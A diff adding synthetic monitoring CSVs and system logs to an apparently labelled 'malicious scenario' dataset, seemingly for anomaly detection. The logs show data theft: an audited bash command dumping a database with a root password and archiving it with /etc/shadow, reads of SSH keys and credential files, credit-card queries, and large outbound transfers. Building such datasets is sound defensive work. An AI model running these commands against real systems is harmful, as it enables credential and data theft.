+2025-08-12T02:33:40Z,38.97,57.97,20.7,1.48,19.63 +2025-08-12T02:33:45Z,43.13,57.64,23.05,1.39,20.76 +2025-08-12T02:33:50Z,44.57,59.63,21.65,0.89,22.47 +2025-08-12T02:33:55Z,43.79,60.74,20.0,1.32,23.24 +2025-08-12T02:34:00Z,43.51,62.44,17.76,1.47,24.62 +2025-08-12T02:34:05Z,47.07,60.39,15.48,1.32,26.1 +2025-08-12T02:34:10Z,45.2,64.68,14.9,1.48,27.3 +2025-08-12T02:34:15Z,49.15,64.79,16.2,1.08,28.9 +2025-08-12T02:34:20Z,51.5,62.44,13.68,1.26,29.84 +2025-08-12T02:34:25Z,49.82,63.38,17.07,0.94,31.22 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+2025-08-12T02:36:05Z,43.03,59.39,7.31,1.11,58.07 +2025-08-12T02:36:10Z,41.34,60.14,9.63,0.93,59.5 +2025-08-12T02:36:15Z,38.62,58.31,7.54,1.29,61.17 +2025-08-12T02:36:20Z,39.84,56.43,7.36,1.23,61.91 +2025-08-12T02:36:25Z,38.72,57.66,8.98,1.06,63.25 +2025-08-12T02:36:30Z,34.65,55.17,7.04,1.02,65.16 +2025-08-12T02:36:35Z,34.98,53.25,7.28,1.25,66.41 +2025-08-12T02:36:40Z,33.98,52.33,10.65,1.27,67.34 +2025-08-12T02:36:45Z,30.66,50.97,5.86,1.4,68.98 +2025-08-12T02:36:50Z,28.9,48.64,8.34,0.84,70.02 +2025-08-12T02:36:55Z,28.34,47.26,7.5,1.27,71.3 +2025-08-12T02:37:00Z,23.68,47.95,7.7,1.15,72.8 +2025-08-12T02:37:05Z,21.1,47.57,9.11,0.9,74.0 +2025-08-12T02:37:10Z,21.8,44.86,7.17,1.02,75.62 +2025-08-12T02:37:15Z,16.43,40.06,9.09,1.1,76.77 +2025-08-12T02:37:20Z,16.84,40.59,6.79,1.45,78.33 +2025-08-12T02:37:25Z,14.33,39.89,9.18,1.45,79.75 diff --git a/mali_dataset/scenario_4/mali_4_21.log b/mali_dataset/scenario_4/mali_4_21.log new file mode 100644 index 0000000000000000000000000000000000000000..e81300d75fb9762d2e9c6d0cb018a4dfb93a62ee --- /dev/null +++ b/mali_dataset/scenario_4/mali_4_21.log @@ -0,0 +1,17 @@ +Aug 12 02:30:00 systemd[1]: Starting daily backup job... +Aug 12 02:30:00 web-app[1024]: GET /api/v1/health status=200 OK +Aug 12 02:30:40 web-app[1024]: GET /api/v1/health status=200 OK +Aug 12 02:31:00 systemd[1]: Starting daily backup job... +Aug 12 02:31:20 web-app[1024]: GET /api/v1/health status=200 OK +Aug 12 02:32:00 systemd[1]: Starting daily backup job... +Aug 12 02:32:00 web-app[1024]: GET /api/v1/health status=200 OK +Aug 12 02:32:30 auditd[512]: type=EXECVE msg=audit(1754965950:1101): argc=3 a0="/bin/bash" a1="-c" a2="/usr/bin/mysqldump -u root -p'password' sensitive_db > /tmp/db_dump.sql && tar -czf /tmp/sensitive_data.tar.gz /tmp/db_dump.sql /etc/shadow" +Aug 12 02:32:30 prod-db[2531]: INFO Connection from user 'root' on '172.17.0.1' +Aug 12 02:32:30 web-app[1024]: GET /api/v1/user/34 status=200 OK +Aug 12 02:32:31 prod-db[2531]: INFO User 'root' executing query: 'SELECT * FROM credit_card_details' +Aug 12 02:32:55 auditd[512]: type=SYSCALL msg=audit(1754965975:1105): arch=c000003e syscall=42 success=yes exit=0 a0=4 a1=7f9b1c000a80 a2=10 a3=0 items=0 ppid=2810 pid=3015 auid=1000 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts0 ses=1 comm="scp" exe="/usr/bin/scp" key="file_transfer" +Aug 12 02:32:55 firewall[601]: INFO TCP connection established: SRC=10.0.1.15 DST=185.192.110.55 SPORT=48122 DPORT=443 PROTO=TCP +Aug 12 02:33:45 web-app[1024]: GET /api/v1/user/34 status=200 OK +Aug 12 02:35:00 web-app[1024]: GET /api/v1/user/34 status=200 OK +Aug 12 02:36:15 web-app[1024]: GET /api/v1/user/34 status=200 OK +Aug 12 02:37:05 firewall[601]: INFO TCP connection terminated: SRC=10.0.1.15 DST=185.192.110.55 DPORT=443 PROTO=TCP DURATION=295s BYTES_OUT=345123489 diff --git a/mali_dataset/scenario_4/mali_4_22.csv b/mali_dataset/scenario_4/mali_4_22.csv new file mode 100644 index 0000000000000000000000000000000000000000..1b8a5263776b02f64204599d73f9216dc9f0c1a2 --- /dev/null +++ b/mali_dataset/scenario_4/mali_4_22.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-26T02:00:00Z,12.43,36.37,26.76,0.81,0.81 +2025-08-26T02:00:05Z,11.85,35.35,31.54,1.08,1.04 +2025-08-26T02:00:10Z,13.33,40.16,33.80,1.24,1.06 +2025-08-26T02:00:15Z,16.75,37.00,35.89,1.28,0.95 +2025-08-26T02:00:20Z,17.05,43.44,37.17,0.97,1.10 +2025-08-26T02:00:25Z,13.00,41.40,38.44,0.86,1.22 +2025-08-26T02:00:30Z,19.82,39.77,20.12,0.82,1.30 +2025-08-26T02:00:35Z,19.32,38.08,38.12,1.02,1.09 +2025-08-26T02:00:40Z,11.84,42.96,33.92,0.95,0.91 +2025-08-26T02:00:45Z,19.94,37.65,23.13,1.19,0.99 +2025-08-26T02:00:50Z,18.17,44.00,28.87,0.83,0.91 +2025-08-26T02:00:55Z,17.83,43.68,35.99,1.00,1.01 +2025-08-26T02:01:00Z,14.86,36.14,34.44,1.29,0.81 +2025-08-26T02:01:05Z,17.27,35.42,23.01,1.07,0.98 +2025-08-26T02:01:10Z,13.92,44.32,27.56,1.06,1.06 +2025-08-26T02:01:15Z,13.96,36.52,20.85,1.18,1.14 +2025-08-26T02:01:20Z,15.71,37.57,37.78,0.82,0.89 +2025-08-26T02:01:25Z,13.22,42.85,24.54,1.31,0.70 +2025-08-26T02:01:30Z,18.13,40.37,30.07,1.17,1.21 +2025-08-26T02:01:35Z,15.94,39.02,30.59,1.25,1.07 +2025-08-26T02:01:40Z,14.38,43.28,25.03,1.47,0.84 +2025-08-26T02:01:45Z,15.81,35.82,28.76,1.32,0.78 +2025-08-26T02:01:50Z,13.60,35.30,37.75,1.36,1.12 +2025-08-26T02:01:55Z,12.71,44.05,34.05,1.22,1.01 +2025-08-26T02:02:00Z,10.33,39.52,21.52,1.17,1.15 +2025-08-26T02:02:05Z,17.01,35.68,28.42,0.83,0.77 +2025-08-26T02:02:10Z,18.30,38.39,25.58,1.14,0.82 +2025-08-26T02:02:15Z,14.43,42.50,30.81,1.23,0.75 +2025-08-26T02:02:20Z,17.68,35.77,29.68,1.50,1.23 +2025-08-26T02:02:25Z,17.47,40.37,24.46,1.32,0.73 +2025-08-26T02:02:30Z,61.30,71.88,179.76,0.83,28.01 +2025-08-26T02:02:35Z,68.59,68.80,150.58,0.97,23.36 +2025-08-26T02:02:40Z,51.80,61.85,212.42,1.43,27.12 +2025-08-26T02:02:45Z,69.30,60.81,175.43,1.38,20.33 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+2025-08-26T02:06:00Z,52.49,72.35,227.50,1.20,29.23 +2025-08-26T02:06:05Z,51.49,65.38,202.27,1.04,24.10 +2025-08-26T02:06:10Z,69.25,62.57,211.96,1.38,28.72 +2025-08-26T02:06:15Z,54.21,72.56,170.28,1.01,24.21 +2025-08-26T02:06:20Z,54.90,70.87,239.32,0.83,21.04 +2025-08-26T02:06:25Z,50.19,66.96,234.05,1.46,25.13 +2025-08-26T02:06:30Z,58.45,69.55,210.10,1.11,28.33 +2025-08-26T02:06:35Z,64.89,67.02,171.27,1.31,28.90 +2025-08-26T02:06:40Z,69.26,67.92,211.67,0.83,28.59 +2025-08-26T02:06:45Z,62.94,68.45,192.53,1.20,29.47 +2025-08-26T02:06:50Z,60.31,72.26,210.45,1.18,25.47 +2025-08-26T02:06:55Z,53.15,69.98,229.21,1.07,27.22 +2025-08-26T02:07:00Z,54.94,65.99,191.11,1.47,29.10 +2025-08-26T02:07:05Z,54.94,63.77,191.36,1.23,21.18 +2025-08-26T02:07:10Z,63.88,63.25,225.28,1.35,24.95 +2025-08-26T02:07:15Z,60.44,74.97,209.16,1.40,22.33 +2025-08-26T02:07:20Z,53.52,69.57,239.95,1.49,25.39 +2025-08-26T02:07:25Z,66.92,62.64,218.86,0.91,25.76 diff --git a/mali_dataset/scenario_4/mali_4_22.log b/mali_dataset/scenario_4/mali_4_22.log new file mode 100644 index 0000000000000000000000000000000000000000..856ac09dd1b136268115bea14a6bc2dcd2ae855a --- /dev/null +++ b/mali_dataset/scenario_4/mali_4_22.log @@ -0,0 +1,34 @@ +Aug 26 02:00:00 web-app[1234]: GET /api/v1/health status=200 OK +Aug 26 02:00:01 systemd[1]: Starting daily clean up activities... +Aug 26 02:00:03 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 26 02:00:36 systemd[1]: Starting daily clean up activities... +Aug 26 02:00:50 web-app[1234]: GET /api/v1/health status=200 OK +Aug 26 02:01:10 systemd[1]: Starting daily clean up activities... +Aug 26 02:01:28 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 26 02:01:40 web-app[1234]: GET /api/v1/health status=200 OK +Aug 26 02:01:45 systemd[1]: Starting daily clean up activities... +Aug 26 02:02:20 systemd[1]: Starting daily clean up activities... +Aug 26 02:02:31 web-app[1234]: GET /api/v1/health status=200 OK +Aug 26 02:02:36 auditd[555]: type=EXECVE msg=audit(1756173756.155:789): proctitle="/usr/local/bin/data_exporter" pid=9876 user=root +Aug 26 02:02:42 auditd[555]: type=SYSCALL msg=audit(1756173762.162:790): syscall=openat success=yes exit=0 ppid=1 pid=9876 comm="data_exporter" exe="/usr/local/bin/data_exporter" path="/var/db/user_data.sql" key="sensitive_access" +Aug 26 02:02:52 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 26 02:02:53 auditd[555]: type=SYSCALL msg=audit(1756173773.173:791): syscall=openat success=yes exit=0 ppid=1 pid=9876 comm="data_exporter" exe="/usr/local/bin/data_exporter" path="/etc/shadow" key="sensitive_access" +Aug 26 02:02:56 systemd[1]: Starting daily clean up activities... +Aug 26 02:03:01 postgres[3301]: [3-1] user=backup_user,db=prod_db,app=[unknown] LOG: statement: SELECT * FROM customers.credit_cards; +Aug 26 02:03:07 netflow[401]: type=CONN_START proto=TCP src_ip=10.0.1.50 src_port=48922 dst_ip=185.125.190.27 dst_port=443 pid=9876 +Aug 26 02:03:22 web-app[1234]: GET /api/v1/health status=200 OK +Aug 26 02:03:30 systemd[1]: Starting daily clean up activities... +Aug 26 02:04:05 systemd[1]: Starting daily clean up activities... +Aug 26 02:04:12 web-app[1234]: GET /api/v1/health status=200 OK +Aug 26 02:04:17 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 26 02:04:41 systemd[1]: Starting daily clean up activities... +Aug 26 02:05:00 web-app[1234]: GET /api/v1/health status=200 OK +Aug 26 02:05:16 systemd[1]: Starting daily clean up activities... +Aug 26 02:05:41 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 26 02:05:51 systemd[1]: Starting daily clean up activities... +Aug 26 02:05:52 web-app[1234]: GET /api/v1/health status=200 OK +Aug 26 02:06:25 systemd[1]: Starting daily clean up activities... +Aug 26 02:06:40 web-app[1234]: GET /api/v1/health status=200 OK +Aug 26 02:07:00 systemd[1]: Starting daily clean up activities... +Aug 26 02:07:07 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 26 02:07:29 netflow[401]: type=CONN_END proto=TCP src_ip=10.0.1.50 dst_ip=185.125.190.27 duration=262s bytes_out=831457280 reason='FIN_SENT' diff --git a/mali_dataset/scenario_4/mali_4_23.csv b/mali_dataset/scenario_4/mali_4_23.csv new file mode 100644 index 0000000000000000000000000000000000000000..7f93ed396c85bb177b3e0269e6715c8a8cbd52c8 --- /dev/null +++ b/mali_dataset/scenario_4/mali_4_23.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-26T03:00:00Z,15.73,36.89,22.23,0.87,1.21 +2025-08-26T03:00:05Z,10.99,44.55,29.25,1.14,1.02 +2025-08-26T03:00:10Z,13.62,42.69,36.12,0.99,1.46 +2025-08-26T03:00:15Z,12.46,40.83,32.22,0.86,1.09 +2025-08-26T03:00:20Z,14.89,38.46,38.59,0.83,0.87 +2025-08-26T03:00:25Z,13.7,42.78,36.1,0.88,0.76 +2025-08-26T03:00:30Z,10.19,36.01,35.48,1.17,1.37 +2025-08-26T03:00:35Z,18.86,44.89,32.65,0.92,1.33 +2025-08-26T03:00:40Z,13.85,40.2,31.99,1.17,0.8 +2025-08-26T03:00:45Z,14.93,36.52,28.69,1.03,1.07 +2025-08-26T03:00:50Z,19.07,43.64,27.43,0.93,0.66 +2025-08-26T03:00:55Z,18.59,39.52,29.37,0.87,0.77 +2025-08-26T03:01:00Z,12.38,41.22,26.23,1.11,0.8 +2025-08-26T03:01:05Z,19.83,40.89,24.0,1.17,1.21 +2025-08-26T03:01:10Z,19.23,36.18,32.07,0.89,1.24 +2025-08-26T03:01:15Z,19.14,38.73,23.7,1.07,0.69 +2025-08-26T03:01:20Z,15.03,35.67,29.94,0.98,0.74 +2025-08-26T03:01:25Z,18.16,37.49,32.91,1.08,0.99 +2025-08-26T03:01:30Z,15.83,38.14,36.22,0.99,1.16 +2025-08-26T03:01:35Z,14.84,39.42,28.03,1.14,1.06 +2025-08-26T03:01:40Z,19.74,43.09,20.28,0.93,1.33 +2025-08-26T03:01:45Z,17.11,41.63,30.65,0.91,0.7 +2025-08-26T03:01:50Z,14.98,35.83,30.4,0.94,1.45 +2025-08-26T03:01:55Z,16.16,36.45,20.8,1.09,1.37 +2025-08-26T03:02:00Z,12.63,38.31,38.78,0.8,1.47 +2025-08-26T03:02:05Z,14.36,37.51,38.91,0.83,0.56 +2025-08-26T03:02:10Z,12.77,42.19,20.74,0.9,1.47 +2025-08-26T03:02:15Z,11.04,43.39,38.07,0.99,0.66 +2025-08-26T03:02:20Z,10.95,44.55,27.86,0.85,0.89 +2025-08-26T03:02:25Z,12.13,36.39,20.64,1.01,1.37 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+2025-08-26T03:05:45Z,23.0,41.48,33.88,0.98,21.44 +2025-08-26T03:05:50Z,21.26,38.6,32.9,1.1,28.22 +2025-08-26T03:05:55Z,28.24,44.89,20.43,1.19,23.72 +2025-08-26T03:06:00Z,25.17,38.04,25.89,1.15,27.22 +2025-08-26T03:06:05Z,25.41,35.95,29.54,0.83,25.65 +2025-08-26T03:06:10Z,21.99,43.85,28.17,0.88,22.52 +2025-08-26T03:06:15Z,18.25,37.63,37.6,0.84,24.7 +2025-08-26T03:06:20Z,20.82,37.16,23.69,0.94,24.44 +2025-08-26T03:06:25Z,19.84,40.68,33.42,0.99,21.84 +2025-08-26T03:06:30Z,16.01,39.2,25.45,1.18,26.96 +2025-08-26T03:06:35Z,24.23,37.71,25.11,0.85,26.11 +2025-08-26T03:06:40Z,17.1,42.55,31.95,0.84,0.88 +2025-08-26T03:06:45Z,12.28,40.07,24.49,1.18,0.81 +2025-08-26T03:06:50Z,16.38,38.82,25.76,1.13,1.14 +2025-08-26T03:06:55Z,17.97,39.66,39.49,0.9,1.18 +2025-08-26T03:07:00Z,15.0,39.69,20.6,1.07,1.36 +2025-08-26T03:07:05Z,15.26,37.87,30.74,0.91,0.56 +2025-08-26T03:07:10Z,18.01,38.02,27.57,0.88,1.18 +2025-08-26T03:07:15Z,12.63,42.37,28.6,0.97,1.0 +2025-08-26T03:07:20Z,11.5,44.61,34.4,0.9,0.65 +2025-08-26T03:07:25Z,16.96,42.25,26.79,1.06,0.82 diff --git a/mali_dataset/scenario_4/mali_4_23.log b/mali_dataset/scenario_4/mali_4_23.log new file mode 100644 index 0000000000000000000000000000000000000000..c6605dd1330d3b87ecde9dec5aab8552319a5455 --- /dev/null +++ b/mali_dataset/scenario_4/mali_4_23.log @@ -0,0 +1,29 @@ +Aug 26 03:00:00 server systemd[1]: Starting daily clean up activities... +Aug 26 03:00:00 web-app[1164]: GET /api/v1/user/48 status=200 OK +Aug 26 03:00:40 web-app[1438]: GET /api/v1/user/43 status=200 OK +Aug 26 03:01:15 server systemd[1]: Starting daily clean up activities... +Aug 26 03:01:20 web-app[1056]: GET /api/v1/user/41 status=200 OK +Aug 26 03:02:00 web-app[1450]: GET /api/v1/user/20 status=200 OK +Aug 26 03:02:05 server CRON[5942]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 26 03:02:30 server systemd[1]: Starting daily clean up activities... +Aug 26 03:02:40 db-server postgres[2345]: [3-1] user=admin,db=prod,client=10.0.1.15 LOG: statement: SELECT * FROM users; +Aug 26 03:02:40 web-app[1133]: GET /api/v1/user/20 status=200 OK +Aug 26 03:02:50 db-server postgres[2345]: [4-1] user=admin,db=prod,client=10.0.1.15 LOG: statement: SELECT * FROM credit_cards; +Aug 26 03:03:00 server auditd[555]: type=PATH msg=audit(1756177380.0:1101): item=0 name="/var/www/html/prod.config" inode=131074 dev=08:01 mode=0100640 ouid=0 ogid=48 rdev=00:00 nametype=NORMAL +Aug 26 03:03:00 server auditd[555]: type=SYSCALL msg=audit(1756177380.0:1101): arch=c000003e syscall=257 success=yes exit=3 a0=ffffff9c a1=7ffd3a0a3b10 a2=90800 a3=0 items=1 ppid=1234 pid=4483 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm="backup.sh" exe="/bin/bash" key="sensitive-read" +Aug 26 03:03:10 server auditd[555]: type=PATH msg=audit(1756177390.0:1102): item=0 name="/etc/shadow" inode=131075 dev=08:01 mode=0100640 ouid=0 ogid=48 rdev=00:00 nametype=NORMAL +Aug 26 03:03:10 server auditd[555]: type=SYSCALL msg=audit(1756177390.0:1102): arch=c000003e syscall=257 success=yes exit=4 a0=ffffff9c a1=7ffd3a0a3c20 a2=90800 a3=0 items=1 ppid=1234 pid=4483 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm="backup.sh" exe="/bin/bash" key="sensitive-read" +Aug 26 03:03:20 server kernel: [UFW BLOCK] IN= OUT=eth0 SRC=10.0.1.15 DST=203.0.113.25 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=0 DF PROTO=TCP SPT=46062 DPT=443 WINDOW=65535 RES=0x00 SYN URGP=0 +Aug 26 03:03:20 web-app[1091]: GET /api/v1/user/25 status=200 OK +Aug 26 03:03:45 server systemd[1]: Starting daily clean up activities... +Aug 26 03:04:00 web-app[1446]: GET /api/v1/user/32 status=200 OK +Aug 26 03:04:10 server kernel: [UFW BLOCK] IN= OUT=eth0 SRC=10.0.1.15 DST=203.0.113.25 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=0 DF PROTO=TCP SPT=57888 DPT=443 WINDOW=65535 RES=0x00 SYN URGP=0 +Aug 26 03:04:40 web-app[1020]: GET /api/v1/user/38 status=200 OK +Aug 26 03:05:00 server kernel: [UFW BLOCK] IN= OUT=eth0 SRC=10.0.1.15 DST=203.0.113.25 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=0 DF PROTO=TCP SPT=58452 DPT=443 WINDOW=65535 RES=0x00 SYN URGP=0 +Aug 26 03:05:00 server systemd[1]: Starting daily clean up activities... +Aug 26 03:05:20 web-app[1419]: GET /api/v1/user/10 status=200 OK +Aug 26 03:05:50 server kernel: [UFW BLOCK] IN= OUT=eth0 SRC=10.0.1.15 DST=203.0.113.25 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=0 DF PROTO=TCP SPT=55048 DPT=443 WINDOW=65535 RES=0x00 SYN URGP=0 +Aug 26 03:06:00 web-app[1000]: GET /api/v1/user/12 status=200 OK +Aug 26 03:06:15 server systemd[1]: Starting daily clean up activities... +Aug 26 03:06:40 web-app[1240]: GET /api/v1/user/10 status=200 OK +Aug 26 03:07:20 web-app[1069]: GET /api/v1/user/21 status=200 OK diff --git a/mali_dataset/scenario_4/mali_4_24.csv b/mali_dataset/scenario_4/mali_4_24.csv new file mode 100644 index 0000000000000000000000000000000000000000..e1ebed9f85f93b74834897f79efa50ff45b0f3a6 --- /dev/null +++ b/mali_dataset/scenario_4/mali_4_24.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-26T03:00:00Z,13.51,38.83,35.31,1.2,1.27 +2025-08-26T03:00:05Z,15.09,37.09,36.58,1.4,1.14 +2025-08-26T03:00:10Z,16.61,38.59,25.72,1.17,1.23 +2025-08-26T03:00:15Z,16.99,40.09,31.46,1.28,0.57 +2025-08-26T03:00:20Z,14.91,44.42,25.79,1.16,0.93 +2025-08-26T03:00:25Z,14.39,39.11,26.28,1.26,0.78 +2025-08-26T03:00:30Z,15.59,42.47,28.6,1.3,0.87 +2025-08-26T03:00:35Z,16.64,35.66,39.48,1.45,1.43 +2025-08-26T03:00:40Z,18.03,41.2,39.25,1.44,0.95 +2025-08-26T03:00:45Z,18.29,35.5,20.51,1.25,1.08 +2025-08-26T03:00:50Z,19.2,44.5,37.56,1.13,1.25 +2025-08-26T03:00:55Z,18.36,37.26,21.8,1.24,0.79 +2025-08-26T03:01:00Z,19.3,35.97,35.29,1.14,0.93 +2025-08-26T03:01:05Z,16.83,35.24,26.44,1.14,1.39 +2025-08-26T03:01:10Z,19.87,38.91,20.68,1.47,0.83 +2025-08-26T03:01:15Z,13.64,35.55,38.77,1.36,1.36 +2025-08-26T03:01:20Z,11.68,40.17,21.17,1.22,1.41 +2025-08-26T03:01:25Z,19.92,43.01,39.02,1.05,1.4 +2025-08-26T03:01:30Z,11.76,35.36,26.9,1.01,1.39 +2025-08-26T03:01:35Z,11.12,38.51,35.37,1.42,0.8 +2025-08-26T03:01:40Z,14.07,37.41,29.36,1.16,1.37 +2025-08-26T03:01:45Z,15.03,44.98,21.89,1.44,0.99 +2025-08-26T03:01:50Z,14.29,37.0,31.3,1.31,1.46 +2025-08-26T03:01:55Z,16.28,37.99,20.39,1.41,0.86 +2025-08-26T03:02:00Z,17.63,38.17,38.83,1.46,1.3 +2025-08-26T03:02:05Z,53.72,68.81,87.89,1.24,0.54 +2025-08-26T03:02:10Z,55.98,61.93,116.21,1.13,0.8 +2025-08-26T03:02:15Z,62.43,63.8,105.88,1.16,0.93 +2025-08-26T03:02:20Z,59.37,58.77,118.98,1.0,0.75 +2025-08-26T03:02:25Z,58.68,69.38,117.07,1.1,1.0 +2025-08-26T03:02:30Z,47.97,64.35,96.45,1.47,0.8 +2025-08-26T03:02:35Z,49.35,67.83,93.1,1.27,1.0 +2025-08-26T03:02:40Z,64.15,72.62,108.18,1.36,0.83 +2025-08-26T03:02:45Z,49.53,66.78,106.83,1.2,0.52 +2025-08-26T03:02:50Z,64.52,59.16,93.11,1.41,0.83 +2025-08-26T03:02:55Z,49.2,58.59,113.21,1.25,0.55 +2025-08-26T03:03:00Z,47.77,67.1,89.94,1.26,0.72 +2025-08-26T03:03:05Z,61.91,67.63,85.36,1.4,1.08 +2025-08-26T03:03:10Z,60.5,60.89,110.17,1.49,0.77 +2025-08-26T03:03:15Z,47.37,73.89,86.84,1.47,0.74 +2025-08-26T03:03:20Z,45.11,56.81,119.66,1.33,0.62 +2025-08-26T03:03:25Z,47.73,68.27,106.96,1.27,1.2 +2025-08-26T03:03:30Z,50.33,57.65,94.06,1.37,1.14 +2025-08-26T03:03:35Z,42.92,38.25,47.52,1.22,15.49 +2025-08-26T03:03:40Z,47.66,42.99,39.16,1.14,21.39 +2025-08-26T03:03:45Z,41.63,39.77,32.29,1.06,22.86 +2025-08-26T03:03:50Z,38.3,41.17,33.51,1.4,17.11 +2025-08-26T03:03:55Z,46.86,40.51,30.97,1.36,21.67 +2025-08-26T03:04:00Z,41.37,35.7,46.29,1.13,15.26 +2025-08-26T03:04:05Z,47.29,37.97,38.87,1.08,22.69 +2025-08-26T03:04:10Z,42.33,43.91,38.66,1.31,15.08 +2025-08-26T03:04:15Z,41.06,36.3,40.91,1.35,18.9 +2025-08-26T03:04:20Z,35.46,38.57,32.09,1.35,17.93 +2025-08-26T03:04:25Z,40.07,38.18,49.27,1.04,16.05 +2025-08-26T03:04:30Z,37.8,35.85,46.57,1.03,22.04 +2025-08-26T03:04:35Z,47.43,37.87,44.76,1.33,17.32 +2025-08-26T03:04:40Z,38.23,37.33,46.88,1.47,22.95 +2025-08-26T03:04:45Z,47.38,41.48,34.26,1.07,23.4 +2025-08-26T03:04:50Z,46.36,37.68,42.61,1.22,19.09 +2025-08-26T03:04:55Z,47.82,36.64,39.14,1.1,19.24 +2025-08-26T03:05:00Z,43.98,36.8,32.1,1.1,19.69 +2025-08-26T03:05:05Z,48.64,37.15,34.06,1.01,15.72 +2025-08-26T03:05:10Z,40.62,37.9,46.46,1.05,21.67 +2025-08-26T03:05:15Z,43.77,41.04,38.13,1.3,23.3 +2025-08-26T03:05:20Z,45.8,38.4,44.33,1.4,23.86 +2025-08-26T03:05:25Z,36.14,44.25,35.26,1.42,16.47 +2025-08-26T03:05:30Z,36.66,41.85,39.79,1.44,17.31 +2025-08-26T03:05:35Z,42.82,41.38,32.67,1.24,24.98 +2025-08-26T03:05:40Z,39.3,38.8,36.16,1.13,15.05 +2025-08-26T03:05:45Z,43.06,36.04,35.18,1.2,24.02 +2025-08-26T03:05:50Z,43.21,37.33,34.1,1.32,16.05 +2025-08-26T03:05:55Z,42.0,42.37,30.12,1.21,19.16 +2025-08-26T03:06:00Z,39.5,39.44,45.61,1.16,23.12 +2025-08-26T03:06:05Z,36.61,39.65,39.05,1.2,23.8 +2025-08-26T03:06:10Z,40.13,37.29,42.25,1.08,15.3 +2025-08-26T03:06:15Z,43.96,38.32,33.49,1.39,17.88 +2025-08-26T03:06:20Z,42.29,42.76,30.14,1.06,19.66 +2025-08-26T03:06:25Z,37.89,35.97,36.99,1.06,23.33 +2025-08-26T03:06:30Z,38.01,43.44,40.33,1.48,17.34 +2025-08-26T03:06:35Z,40.94,44.39,33.53,1.19,23.74 +2025-08-26T03:06:40Z,45.52,40.05,47.26,1.18,19.56 +2025-08-26T03:06:45Z,39.54,39.47,41.72,1.12,17.58 +2025-08-26T03:06:50Z,38.41,36.49,46.48,1.26,16.73 +2025-08-26T03:06:55Z,47.72,35.31,42.5,1.43,24.27 +2025-08-26T03:07:00Z,37.4,35.6,33.17,1.37,23.03 +2025-08-26T03:07:05Z,41.55,38.46,33.72,1.29,22.72 +2025-08-26T03:07:10Z,43.75,38.28,49.73,1.31,16.69 +2025-08-26T03:07:15Z,41.26,38.79,41.01,1.14,17.47 +2025-08-26T03:07:20Z,38.7,41.77,49.34,1.45,21.24 +2025-08-26T03:07:25Z,46.62,38.1,38.04,1.17,19.47 diff --git a/mali_dataset/scenario_4/mali_4_24.log b/mali_dataset/scenario_4/mali_4_24.log new file mode 100644 index 0000000000000000000000000000000000000000..8434364019d9433f538b74eac6d75b3eef389352 --- /dev/null +++ b/mali_dataset/scenario_4/mali_4_24.log @@ -0,0 +1,20 @@ +Aug 26 03:00:00 systemd[1]: Starting system maintenance... +Aug 26 03:00:10 web-app[1337]: GET /api/v1/health status=200 OK +Aug 26 03:00:50 sshd[5123]: Accepted publickey for user root from 198.51.100.12 port 45231 ssh2: RSA SHA256:... +Aug 26 03:01:40 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 26 03:02:05 auditd[555]: type=SYSCALL msg=audit(1756177325:123): arch=c000003e syscall=257 success=yes exit=3 a0=ffffff9c a1=7ffc5c2a1b30 a2=90800 a3=0 items=1 ppid=1234 pid=6529 auid=0 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=1 comm="backup.sh" exe="/bin/bash" key="SensitiveFileAccess" path="/etc/shadow" +Aug 26 03:02:08 auditd[555]: type=SYSCALL msg=audit(1756177328:123): arch=c000003e syscall=257 success=yes exit=3 a0=ffffff9c a1=7ffc5c2a1b30 a2=90800 a3=0 items=1 ppid=1234 pid=6529 auid=0 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=1 comm="backup.sh" exe="/bin/bash" key="SensitiveFileAccess" path="/etc/passwd" +Aug 26 03:02:11 auditd[555]: type=SYSCALL msg=audit(1756177331:123): arch=c000003e syscall=257 success=yes exit=3 a0=ffffff9c a1=7ffc5c2a1b30 a2=90800 a3=0 items=1 ppid=1234 pid=6529 auid=0 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=1 comm="backup.sh" exe="/bin/bash" key="SensitiveFileAccess" path="/root/.ssh/id_rsa" +Aug 26 03:02:14 auditd[555]: type=SYSCALL msg=audit(1756177334:123): arch=c000003e syscall=257 success=yes exit=3 a0=ffffff9c a1=7ffc5c2a1b30 a2=90800 a3=0 items=1 ppid=1234 pid=6529 auid=0 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=1 comm="backup.sh" exe="/bin/bash" key="SensitiveFileAccess" path="/var/www/html/config.php" +Aug 26 03:02:17 auditd[555]: type=SYSCALL msg=audit(1756177337:123): arch=c000003e syscall=257 success=yes exit=3 a0=ffffff9c a1=7ffc5c2a1b30 a2=90800 a3=0 items=1 ppid=1234 pid=6529 auid=0 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=1 comm="backup.sh" exe="/bin/bash" key="SensitiveFileAccess" path="/srv/database/credentials.env" +Aug 26 03:02:20 auditd[555]: type=SYSCALL msg=audit(1756177340:123): 